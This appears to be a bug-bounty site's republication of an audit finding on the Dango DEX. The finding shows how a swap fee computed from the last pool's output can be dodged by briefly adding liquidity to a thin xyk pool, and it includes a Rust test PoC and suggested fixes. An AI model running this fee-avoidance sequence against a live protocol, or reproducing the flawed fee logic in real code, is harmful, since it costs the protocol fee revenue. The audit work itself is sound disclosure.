Attacker can exploit thin liquidity in xyk pool to save on fees
The swap fee is calculated from the output of the last pool in a multi-hop route, so an attacker can add liquidity to a thin pool, swap through it, withdraw the liquidity, and pay less fee than intended. This lets the attacker obtain more of the desired token than a direct swap would allow, causing a fee loss for the protocol.
Source: https://github.com/sherlock-audit/2025-09-dango-dex-judging/issues/324
Found by
dandan
Summary
Because fees on instant swaps with swap_exact_amount_[in|out] is calculated from the output of the last pool in the route, an attacker can exploit a PassiveLiqudity::Xyk pair with relatively thin liquidity compared to the size of the trade to save on fees.
Example:
Attacker wants to make a large ETH -> USDC swap and DANGO/USDC pool has relatively thin liquidity compared to the size of the swap.
Thus swapping with a route of [ ETH/USDC, DANGO/USDC ] (meaning ETH -> USDC -> DANGO) would incur large slippage in the last pool, and as the fee is calculated from the output of the last pair, the fee would be too small compared to the size of the trade.
If the attacker deposits a large amount of liquidity in the last pool before making the trade, so that they own the majority of the liquidity in this pool, they can retrieve most of the output without paying any fees by simply withdrawing the liquidity after the swap.
They can then swap the remaining DANGO for USDC to reverse the slippage, but despite the output of this swap being relatively large compared to the input, as they have already pulled out most of the funds by withdrawing their liquidity, the total fees will still be less than what they should have paid.
Ultimately, this exploit results in a larger amount of USDC for the attacker than if they had just swapped [ ETH/USDC ] due to avoiding paying part of the fee, causing an equivalent loss for the protocol.
This is demonstrated in the PoC below.
Root Cause
Fee is calculated from output of last pool in route:
Internal Pre-conditions
A PassiveLiquidity::Xyk pool with relatively thin liquidity.
External Pre-conditions
None
Attack Path
Let token A be the token that attacker wants to swap for.
Let pool P be a PassiveLiquidity::Xyk pool with tokens A/B and relatively thin liquidity.
- Attacker deposits liquidity in pool P to own a majority of the lp share.
- Attacker swaps through a route that ends with an output of token B in pool P.
- Attacker withdraws all of their pool P liquidity.
- Attacker swaps their remaining amount of token B for token A in pool P.
Impact
Loss of funds for the protocol as it does not get the full amount of fees.
PoC
Paste this in dango/testing/tests/dex.rs and run with cargo test --package dango-testing --test dex -- cheat_fees_with_slippage --show-output
fn cheat_fees_with_slippage(is_cheating: bool, expected_attacker_usdc_gain: Uint128) {
let (mut suite, mut accounts, _, contracts, _) = setup_test_naive(Default::default());
suite.balances().record_many(accounts.users());
let attacker_initial_balances = suite.query_balances(&accounts.user1).unwrap();
let eth_usdc_lp_denom = Denom::try_from("dex/pool/eth/usdc").unwrap();
let dango_usdc_lp_denom = Denom::try_from("dex/pool/dango/usdc").unwrap();
let swap_fee = Udec128::new_permille(5);
let pool_type = PassiveLiquidity::Xyk(Xyk {
spacing: Udec128::ONE,
reserve_ratio: Bounded::new_unchecked(Udec128::ZERO),
limit: 10,
});
// Owner creates ETH/USDC pool
suite
.query_wasm_smart(contracts.dex, dex::QueryPairRequest {
base_denom: eth::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
})
.should_succeed_and(|_| {
// Update pair params
suite
.execute(
&mut accounts.owner,
contracts.dex,
&dex::ExecuteMsg::Owner(dex::OwnerMsg::BatchUpdatePairs(vec![PairUpdate {
base_denom: eth::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
params: PairParams {
lp_denom: eth_usdc_lp_denom.clone(),
bucket_sizes: BTreeSet::new(),
swap_fee_rate: Bounded::new_unchecked(swap_fee),
pool_type: pool_type.clone(),
min_order_size: Uint128::ZERO,
},
}])),
Coins::new(),
)
.should_succeed();
true
});
// Owner creates Dango/USDC pool
suite
.query_wasm_smart(contracts.dex, dex::QueryPairRequest {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
})
.should_succeed_and(|_| {
// Update pair params
suite
.execute(
&mut accounts.owner,
contracts.dex,
&dex::ExecuteMsg::Owner(dex::OwnerMsg::BatchUpdatePairs(vec![PairUpdate {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
params: PairParams {
lp_denom: dango_usdc_lp_denom.clone(),
bucket_sizes: BTreeSet::new(),
swap_fee_rate: Bounded::new_unchecked(swap_fee),
pool_type: pool_type.clone(),
min_order_size: Uint128::ZERO,
},
}])),
Coins::new(),
)
.should_succeed();
true
});
// Register the oracle prices
let oracle_prices = vec![
(eth::DENOM.clone(), Udec128::new(4000)),
(dango::DENOM.clone(), Udec128::new(1)),
(usdc::DENOM.clone(), Udec128::new(1)),
];
for (denom, price) in oracle_prices {
suite
.execute(
&mut accounts.owner,
contracts.oracle,
&oracle::ExecuteMsg::RegisterPriceSources(btree_map! {
denom => PriceSource::Fixed {
humanized_price: price,
precision: 6,
timestamp: Timestamp::from_seconds(1730802926),
},
}),
Coins::new(),
)
.should_succeed();
}
// Owner provides some initial liquidity
let initial_eth_usdc_liquidity_funds = coins! {
eth::DENOM.clone() => 10,
usdc::DENOM.clone() => 40_000_000_000,
};
suite
.execute(
&mut accounts.owner,
contracts.dex,
&dex::ExecuteMsg::ProvideLiquidity {
base_denom: eth::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
},
initial_eth_usdc_liquidity_funds.clone(),
)
.should_succeed();
// Relatively liquidity for DANGO/USDC pool
let initial_dango_usdc_liquidity_funds = coins! {
dango::DENOM.clone() => 100,
usdc::DENOM.clone() => 100,
};
suite
.execute(
&mut accounts.owner,
contracts.dex,
&dex::ExecuteMsg::ProvideLiquidity {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
},
initial_dango_usdc_liquidity_funds.clone(),
)
.should_succeed();
let eth_swap_amount = Uint128::new(1);
let eth_usdc_swap_funds = coins! {
eth::DENOM.clone() => eth_swap_amount.clone(),
};
if is_cheating {
let attacker_dango_usdc_liquidity_funds = coins! {
dango::DENOM.clone() => 9900,
usdc::DENOM.clone() => 9900,
};
suite
.execute(
&mut accounts.user1,
contracts.dex,
&dex::ExecuteMsg::ProvideLiquidity {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
},
attacker_dango_usdc_liquidity_funds.clone(),
)
.should_succeed();
let route = vec![PairId {
base_denom: eth::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
}, PairId {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
}];
suite
.execute(
&mut accounts.user1,
contracts.dex,
&dex::ExecuteMsg::SwapExactAmountIn {
route: MaxLength::new_unchecked(UniqueVec::new_unchecked(route.clone())),
minimum_output: None,
},
eth_usdc_swap_funds.clone(),
)
.should_succeed();
suite.balances().record_many(accounts.users());
let attacker_withdrawal_funds = coins! {
dango_usdc_lp_denom.clone() => suite.query_balances(&accounts.user1).unwrap().amount_of(&dango_usdc_lp_denom)
};
suite
.execute(
&mut accounts.user1,
contracts.dex,
&dex::ExecuteMsg::WithdrawLiquidity {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
},
attacker_withdrawal_funds.clone(),
)
.should_succeed();
suite.balances().record_many(accounts.users());
let dango_usdc_swap_funds = coins! {
dango::DENOM.clone() => suite
.query_balances(&accounts.user1).unwrap().amount_of(&dango::DENOM)
.checked_sub(attacker_initial_balances.amount_of(&dango::DENOM))
.unwrap(),
};
let route = vec![PairId {
base_denom: dango::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
}];
suite
.execute(
&mut accounts.user1,
contracts.dex,
&dex::ExecuteMsg::SwapExactAmountIn {
route: MaxLength::new_unchecked(UniqueVec::new_unchecked(route.clone())),
minimum_output: None,
},
dango_usdc_swap_funds.clone(),
)
.should_succeed();
} else {
let route = vec![PairId {
base_denom: eth::DENOM.clone(),
quote_denom: usdc::DENOM.clone(),
}];
suite
.execute(
&mut accounts.user1,
contracts.dex,
&dex::ExecuteMsg::SwapExactAmountIn {
route: MaxLength::new_unchecked(UniqueVec::new_unchecked(route.clone())),
minimum_output: None,
},
eth_usdc_swap_funds.clone(),
)
.should_succeed();
}
suite.balances().record_many(accounts.users());
let balances = suite.query_balances(&accounts.user1).unwrap();
let eth_loss = attacker_initial_balances.amount_of(ð::DENOM)
.checked_sub(balances.amount_of(ð::DENOM))
.unwrap();
let usdc_gain = balances
.amount_of(&usdc::DENOM)
.checked_sub(attacker_initial_balances.amount_of(&usdc::DENOM))
.unwrap();
let dango_delta = balances
.amount_of(&dango::DENOM)
.checked_sub(attacker_initial_balances.amount_of(&dango::DENOM))
.unwrap();
println!("ETH loss: {}", eth_loss);
println!("USDC gain: {}", usdc_gain);
println!("DANGO delta: {}", dango_delta);
assert_eq!(eth_loss, eth_swap_amount);
assert_eq!(dango_delta, Uint128::ZERO);
assert_eq!(usdc_gain, expected_attacker_usdc_gain);
}
Mitigation
Some options include:
- Charge fee from input amount
- Charge fee in every step of route
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the fee is computed from the output amount of the last pool in the route rather than from the input amount or from each step, allowing manipulation of the final output to reduce the fee.
Impact
The protocol loses fee revenue because it does not receive the full amount of fees, and the attacker gains more of the desired token than a direct swap would yield.
What the attacker needed
A PassiveLiquidity::Xyk pool with thin liquidity; Attacker has funds to add liquidity; Attacker can perform multiple swaps and withdrawals
The fix
The fee should be charged from the input amount or at every step of the route.
How it was found
- Attacker deposits liquidity in a thin Xyk pool to own a majority of the LP shares.
- Attacker swaps through a route that ends with an output of token B in that pool.
- Attacker withdraws all of their liquidity from the pool.
- Attacker swaps their remaining token B for token A in the same pool.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A decentralised exchange charges a small fee on swaps. In this case the fee is based on the amount that comes out of the final pool in a multi-step swap. If that final pool has very little money in it, the output is tiny, so the fee is tiny too. The attacker can add their own money to that pool, do the swap, then take their money back out, keeping most of the swapped funds while paying almost no fee.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.